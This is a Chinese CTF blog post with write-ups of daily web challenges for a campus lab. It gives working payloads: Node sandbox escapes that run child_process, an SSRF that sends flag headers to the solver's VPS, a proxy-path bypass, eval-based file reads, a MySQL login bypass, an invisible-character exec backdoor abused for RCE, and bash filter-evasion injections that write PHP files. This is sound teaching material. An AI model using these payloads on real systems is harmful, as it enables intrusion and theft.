Tha1ctf

Tha1ctf

又称每日一题,欢迎其他师傅合作,靶场的访问目前仅限校内,外校师傅想来玩可以私我微信ST1021294680bing

先开局一张图

image-20221024200313666

有人问我说去哪了,怎么不更新了,其实我是被拉去出水题了

为什么出题?那当然是为了活跃气氛和学习

为什么天天出题?自己看看大标题

行吧行吧不扯皮,咱们来看看前几次的每日一题

题目

除了一道docker集群,一道sql交互,一道duck 赶作业没放上去,其他都应放尽放,本来可以在台式机跑的,但是磁盘不稳定,求富哥带我

image-20221024224605954

关于题目源码之类的:

里面应该基本全了,如果有缺漏微信私我

题解

汇总如下:

day1

第一题[dicectf2022]secure_page

image-20221013134732435

diceCTF2022 部分wp – View of Thai

旨在给新生练练pythonweb

可以看到这里只要admin==true就给flag

而cookie不含有任何加密,所以咱直接改就行

payload:修改cookie为

admin=true

第二题[dicectf2022]undefinded

因为上面一题太水了所以新增一道,不过偏misc,先说一句jacko神狂喜

题目源码

#!/usr/local/bin/node
// don't mind the ugly hack to read input
console.log("What do you want to run?");
let inpBuf = Buffer.alloc(2048);
const input = inpBuf.slice(0, require("fs").readSync(0, inpBuf)).toString("utf8");
inpBuf = undefined;

Function.prototype.constructor = undefined;
(async () => {}).constructor.prototype.constructor = undefined;
(function*(){}).constructor.prototype.constructor = undefined;
(async function*(){}).constructor.prototype.constructor = undefined;

for (const key of Object.getOwnPropertyNames(global)) {
    if (["global", "console", "eval"].includes(key)) {
        continue;
    }
    global[key] = undefined;
    delete global[key];
}

delete global.global;
process = undefined;

{
    let AbortController=undefined;let AbortSignal=undefined;
    let AggregateError=undefined;let Array=undefined;
    let ArrayBuffer=undefined;let Atomics=undefined;
    let BigInt=undefined;let BigInt64Array=undefined;
    let BigUint64Array=undefined;let Boolean=undefined;
    let Buffer=undefined;let DOMException=undefined;
    let DataView=undefined;let Date=undefined;
    let Error=undefined;let EvalError=undefined;
    let Event=undefined;let EventTarget=undefined;
    let FinalizationRegistry=undefined;
    let Float32Array=undefined;let Float64Array=undefined;
    let Function=undefined;let Infinity=undefined;let Int16Array=undefined;
    let Int32Array=undefined;let __dirname=undefined;let Int8Array=undefined;
    let Intl=undefined;let JSON=undefined;let Map=undefined;
    let Math=undefined;let MessageChannel=undefined;let MessageEvent=undefined;
    let MessagePort=undefined;let NaN=undefined;let Number=undefined;
    let Object=undefined;let Promise=undefined;let Proxy=undefined;
    let RangeError=undefined;let ReferenceError=undefined;let Reflect=undefined;
    let RegExp=undefined;let Set=undefined;let SharedArrayBuffer=undefined;
    let String=undefined;let Symbol=undefined;let SyntaxError=undefined;
    let TextDecoder=undefined;let TextEncoder=undefined;let TypeError=undefined;
    let URIError=undefined;let URL=undefined;let URLSearchParams=undefined;
    let Uint16Array=undefined;let Uint32Array=undefined;let Uint8Array=undefined;
    let Uint8ClampedArray=undefined;let WeakMap=undefined;let WeakRef=undefined;
    let WeakSet=undefined;let WebAssembly=undefined;let _=undefined;
    let exports=undefined;let _error=undefined;let assert=undefined;
    let async_hooks=undefined;let atob=undefined;let btoa=undefined;
    let buffer=undefined;let child_process=undefined;let clearImmediate=undefined;
    let clearInterval=undefined;let clearTimeout=undefined;let cluster=undefined;
    let constants=undefined;let crypto=undefined;let decodeURI=undefined;
    let decodeURIComponent=undefined;let dgram=undefined;
    let diagnostics_channel=undefined;let dns=undefined;let domain=undefined;
    let encodeURI=undefined;let encodeURIComponent=undefined;
    let arguments=undefined;let escape=undefined;let events=undefined;
    let fs=undefined;let global=undefined;let globalThis=undefined;
    let http=undefined;let http2=undefined;let https=undefined;
    let inspector=undefined;let isFinite=undefined;let isNaN=undefined;
    let module=undefined;let net=undefined;let os=undefined;let parseFloat=undefined;
    let parseInt=undefined;let path=undefined;let perf_hooks=undefined;
    let performance=undefined;let process=undefined;let punycode=undefined;
    let querystring=undefined;let queueMicrotask=undefined;let readline=undefined;
    let repl=undefined;let require=undefined;let setImmediate=undefined;
    let setInterval=undefined;let __filename=undefined;let setTimeout=undefined;
    let stream=undefined;let string_decoder=undefined;let structuredClone=undefined;
    let sys=undefined;let timers=undefined;let tls=undefined;
    let trace_events=undefined;let tty=undefined;let unescape=undefined;
    let url=undefined;let util=undefined;let v8=undefined;let vm=undefined;
    let wasi=undefined;let worker_threads=undefined;let zlib=undefined;
    let __proto__=undefined;let hasOwnProperty=undefined;let isPrototypeOf=undefined;
    let propertyIsEnumerable=undefined;let toLocaleString=undefined;
    let toString=undefined;let valueOf=undefined;

    console.log(eval(input));
}

运行

node app.js

关于eval是怎么rce的,可以看看(53条消息) ctfshow--node.js漏洞_ing_end的博客-CSDN博客

所以平时想到的payload都是类似这种

global.process.mainModule.constructor.load('child_process').execSync('id')

require或者怎么load一个child_process去rce,但是通过尝试都是undefined

image-20221013144833658

有个tw师傅写的很好,我舔爆

我從 DiceCTF 2022 中學到的各種 JS 與前端冷知識 - Huli

里面有个文档import - JavaScript | MDN (mozilla.org)

静态的 import 语句用于导入由另一个模块导出的绑定。无论是否声明了 strict mode,导入的模块都运行在严格模式下。在浏览器中,import 语句只能在声明了 type="module"script 的标签中使用。

此外,还有一个类似函数的动态 import(),它不需要依赖 type="module" 的 script 标签。

script 标签中使用 nomodule 属性,可以确保向后兼容。

在您希望按照一定的条件或者按需加载模块的时候,动态 import() 是非常有用的。而静态型的 import 是初始化加载依赖项的最优选择,使用静态 import 更容易从代码静态分析工具和 tree shaking 中受益。

也就是import("某某模板")就可以了

import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))

image-20221013153028971

import("child_process").then(m=>console.log(m.execSync('calc')))

image-20221013153257137

另一种做法很细

console.log("Trying to reach");
return;
console.log("dead code");

浏览器里面会报错

image-20221013154423388

确实,没有函数哪来return

但是node有个特点

image-20221013154512303

可见它执行了,

通过查阅资料我们得到:刚刚的代码会被自动放入function中

(function (exports, require, module, __filename, __dirname) {
    console.log("Trying to reach");
    return;
    console.log("dead code");
});

我們的目標就是拿到 require 這個參數,但是因為 arguments 也變成 undefined 了,所以沒有辦法直接拿到,要間接去拿。這是什麼意思呢,我們可以先執行一個 function,然後再用 arguments.callee.caller.arguments 去拿到 parent function 的參數,像是這樣:

function wrapper(flag) {
  {
    let flag = null
    let arguments = null
    function inner() {
      console.log(arguments.callee === inner) // true
      console.log(arguments.callee.caller === wrapper) // true
      console.log(arguments.callee.caller.arguments[0]) // I am flag
    }
    inner()
  }
}

wrapper('I am flag')

很神奇,在 let arguments = null的前提之下仍然可以拿到'I am flag'这个参数

所以咱构造一个function,里面有require,然后参数用arguments.callee.caller.arguments[0]获取就行,写payload的时候想到,传参很麻烦,咱甚至可以直接给arguments.callee.caller.arguments[0]赋值

payload

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

image-20221013160516085

day2

各位实在不好意思,由于之前几天江老师布置了挖洞任务,所以每日一题项目延期。而时至今日,老师已经没有任务了,故web组的建设从今天正式开始。

建设包括每日一题和两日一文档,以及周末和夏曼一起举办的吹水会

[SEETF]Flag Portal (Flag 1)

我已经提示了

image-20221018100552718

有三个服务

看到第一个flag在flagportal这里,

点进去看发现一个ruby服务端

 elsif path == '/admin'
            params = req.params
            flagApi = params.fetch("backend", false) ? params.fetch("backend") : "http://backend/flag-plz"
            target = "https://bit.ly/3jzERNa"

            uri = URI(flagApi)
            req = Net::HTTP::Post.new(uri)
                req['Admin-Key'] = ENV.fetch("ADMIN_KEY")
                req['First-Flag'] = ENV.fetch("FIRST_FLAG")
                req.set_form_data('target' => target)

                res = Net::HTTP.start(uri.hostname, uri.port) {|http|
                http.request(req)
            }

            resp = res.body

flagApi = params.fetch("backend", false) ? params.fetch("backend") : "http://backend/flag-plz",这里的flagApi直接就是用户可控

随后他对这个flagApi发送flag,那就

backend=http://vps:3307

看到外面有一层代理,是apache traffic server,可以看看这个:(54条消息) apache traffic server 简称ats 入坑(一)开始使用_mmz8的博客-CSDN博客

然鹅访问/admin会被暴露在最外面的代理ban掉

代理写的不好,直接//admin绕过

image-20221018100032073

payload

http://flagportal.chall.seetf.sg:10001//admin

image-20221018101241684

[2022Asisctf]duck

从python当前环境中取变量(只能有大小写字母和.)然后将取出的值作为文件名读取

直接使用print(dir(request))输出全部request的成员

['__annotations__', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__enter__', '__eq__', '__exit__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_cached_json', '_get_file_stream', '_get_stream_for_parsing', '_load_form_data', '_parse_content_type', 'accept_charsets', 'accept_encodings', 'accept_languages', 'accept_mimetypes', 'access_control_request_headers', 'access_control_request_method', 'access_route', 'application', 'args', 'authorization', 'base_url', 'blueprint', 'blueprints', 'cache_control', 'charset', 'close', 'content_encoding', 'content_length', 'content_md5', 'content_type', 'cookies', 'data', 'date', 'dict_storage_class', 'encoding_errors', 'endpoint', 'environ', 'files', 'form', 'form_data_parser_class', 'from_values', 'full_path', 'get_data', 'get_json', 'headers', 'host', 'host_url', 'if_match', 'if_modified_since', 'if_none_match', 'if_range', 'if_unmodified_since', 'input_stream', 'is_json', 'is_multiprocess', 'is_multithread', 'is_run_once', 'is_secure', 'json', 'json_module', 'list_storage_class', 'make_form_data_parser', 'max_content_length', 'max_form_memory_size', 'max_forwards', 'method', 'mimetype', 'mimetype_params', 'on_json_loading_failed', 'origin', 'parameter_storage_class', 'path', 'pragma', 'query_string', 'range', 'referrer', 'remote_addr', 'remote_user', 'root_path', 'root_url', 'routing_exception', 'scheme', 'script_root', 'server', 'shallow', 'stream', 'trusted_hosts', 'url', 'url_charset', 'url_root', 'url_rule', 'user_agent', 'user_agent_class', 'values', 'view_args', 'want_form_data_parsed']

一个个试一下最后确定origin参数可用(request.origin)取出的就是请求头中的origin

from flask import Flask,request,Response
import random
import re

app = Flask(__name__)
availableDucks = ['duckInABag','duckLookingAtAHacker','duckWithAFreeHugsSign']
indexTemplate = None
flag = None

@app.route('/duck')
def retDuck():
    what = request.args.get('what')
    #print(dir(request))
    if(not what or re.search(r'[^A-Za-z\.]',what)):
        return 'what?'

    with open(eval(what),'rb') as f:
        return Response(f.read(), mimetype='image/jpeg')

if(__name__ == '__main__'):
    app.run(port=8000)

payload:

GET /duck?what=request.origin HTTP/1.1
Host: ducks.asisctf.com:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://ducks.asisctf.com:8000/duck?what=request.origin
Connection: close
Upgrade-Insecure-Requests: 1
origin: /flag.txt

image-20221016010716309

或者可以

自己本地起一个测试

######### test

#!/usr/bin/env python3
from flask import Flask,request,Response
import random
import re

app = Flask(__name__)
availableDucks = ['duckInABag','duckLookingAtAHacker','duckWithAFreeHugsSign']
indexTemplate = None
flag = None

@app.route('/duck')
def retDuck():
    what = request.args.get('what')
    # duckInABag = './images/e146727ce27b9ed172e70d85b2da4736.jpeg'
    # duckLookingAtAHacker = './images/591233537c16718427dc3c23429de172.jpeg'
    # duckWithAFreeHugsSign = './images/25058ec9ffd96a8bcd4fcb28ef4ca72b.jpeg'

    if(not what or re.search(r'[^A-Za-z\.]',what)):
        return 'what?'

    with open(eval(what),'rb') as f:
        return Response(f.read(), mimetype='image/jpeg')

# @app.route("/")
# def index():
#   return indexTemplate.replace('WHAT',random.choice(availableDucks))

with open('./index.html') as f:
    indexTemplate = f.read() 
with open('/flag.txt') as f:
    flag = f.read()

if(__name__ == '__main__'):
    app.run(port=8000)

建一个/flag.txt内容是flag{xxx}

image-20221014224706656

可以看到经过eval就直接解析变量的值了

由于ban了__和括号

所以不能随心所欲的import东西进来

不过好在它import了这三个,够了

from flask import Flask,request,Response
import random
import re

咱们了解到(53条消息) Django和Flask获取访问来源referrer_彭世瑜的博客-CSDN博客

request.referrer

然后referer伪造个/flag.txt就出了

image-20221014224921531

image-20221014225017694

day3

每日一题2022.10.18

[原创]node&sql

node相关的sql注入

https://blog.flatt.tech/entry/node_mysql_sqlinjection

demo

app.post("/auth", function (request, response) {
 var username = request.body.username;
 var password = request.body.password;
 if (username && password) {
  connection.query(
   "SELECT * FROM accounts WHERE username = ? AND password = ?",
   [username, password],
   function (error, results, fields) {
    ...
   }
  );
 }
});

用下面这个可以绕

payload1

password[passwd]=1&username=admin

payload2

{"username": "admin","password":{"passwd":1}}

原因链接里写的很清楚了,当passwd:1的时候,会返回passwd

在数据库中相当于如下

image-20221018235611160

这个是查的出来的

day4

docker run -p xxx:8080 -d ththaiai/tha1nodeshell

[原创]tha1nodeshell

  • node中不可见的shell

题目提示说/read

flag在环境变量

image-20221020002156249

访问/read

image-20221020002258423

post 一个file参数,估计是读文件

file=../../../../../../etc/passwd

image-20221020002358568

是可以读到的,当然也可以读到根目录的假flag

没啥用,估计还是得读源码呢

猜测是app.js

file=app.js

image-20221020002512916

可以看到代码

image-20221020002556871

细心的话会发现这里有个奇怪的地方!

 const { timeout,ㅤ} = req.query;

为啥有个逗号,不应该是下面这个吗

 const { timeout} = req.query;

复制黏贴进vscode看

image-20221020002743591

自动出现了高亮,这原来是个不可见字符,而且写在exec函数的变量里

具体原理其实是:

https://certitude.consulting/blog/en/invisible-backdoor/

真是个后门!!

所以可以 ?参数=rce_command

flag在环境变量且不出网,想到有个/read

(直接复制黏贴那个不可见字符)

/network_health?ㅤ=env>1.txt

或者你url编码下

/network_health?%E3%85%A4=env>1.txt
/read

file=1.txt

image-20221020003635352

彩蛋/xman

image-20221020002223435

这位师傅是谁呢??

day5

docker run -p -d xxx:80 ththaiai/rceme_easy

原本是1题的,由于第一次空格过滤不严格被非预期了一次之后,就变成2个题了

原创题

[原创]rceme_easy

代码

if(!preg_match("/\s|;|\||&/im",$cmd)){
            //hint: you have the permission to write file
            system("bash -c '$".$cmd);
}

考察在有$符号存在的情况下,如何不使用;,|,&这些分割符号进行rce,同时也限制了一定的换行和空格的使用

不过空格是可以使用${IFS}<>绕过的

于是有了decade的解法

cmd=echo"strings$echo"$IFS"/fllaagg"'

这里strings xxx就是读xxx文件

$开头,用$echo闭合($echo经过bash解析后是空),

由于空格过滤使用${IFS}绕,双引号用于分割字符串

llt的做法更像预期解

$除了用echo闭合,还可以用括号,

$(abc)就是把abc执行的结果作为命令再执行一遍

image-20221022132243623

所以

cmd=(cp$IFS$9/flag$IFS$9/var/www/html/flag)

这个可以本地复现的,稍微改下就可以出

day6

[原创]rceme_2

由于预期是无空格注入和过滤一定程度的关键字(比如flag,cat。。。)

所以新上waf

/\s|;|\||\$|\<|&|`|\?|\//im

多过滤了$,<,?,/还有反引号

这样的话做到了严格的空格过滤

但是由于目录有写权限

我们可以重定向输出

$({echo,'/flag'}>1.txt)

可以看到1.txt有/flag

┌──(thaii㉿LAPTOP-2SBFV1AP)-[/mnt/c/Users/20281/Desktop]
└─$ $({echo,'/flag'}>1.txt)

┌──(thaii㉿LAPTOP-2SBFV1AP)-[/mnt/c/Users/20281/Desktop]
└─$ cat 1.txt
/flag

但是写shell的话分号会被ban

十六进制编码

\x3c\x3f\x3d\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b
$({printf,'\x3c\x3f\x3d\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b'}>1.php)

本地测试可以后,记得单引号双引号的问题

payload

cmd=({printf,"\x3c\x3f\x3d\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b"}>1.php)'

以上是预期解

以下是群友们的解法

jacko的类似预期的解法,使用了bash直接执行脚本

cmd={a}{echo,"{cd,..}"}>a'
cmd={a}{echo,"{cd,..}"}>>a'
cmd={a}{echo,"{cd,..}"}>>a'
cmd={a}{echo,"ls"}>>a'
cmd={a}{echo,"{cat,flaggg}"}>>a'
cmd={a}{bash,a}'

这里由于过滤了/没法直接/flag,但是jacko没有想到编码绕过,选择了切换目录的思维,赢!

decade的解法最为简洁

cmd=({printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"})'

不得不说,大哥们就是牛,小弟学到了好多姿势

总结

不得不说,学到很多

但是有些老师是真的离谱

image-20221024230247915

你瞧瞧这像话吗

我去写作业了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇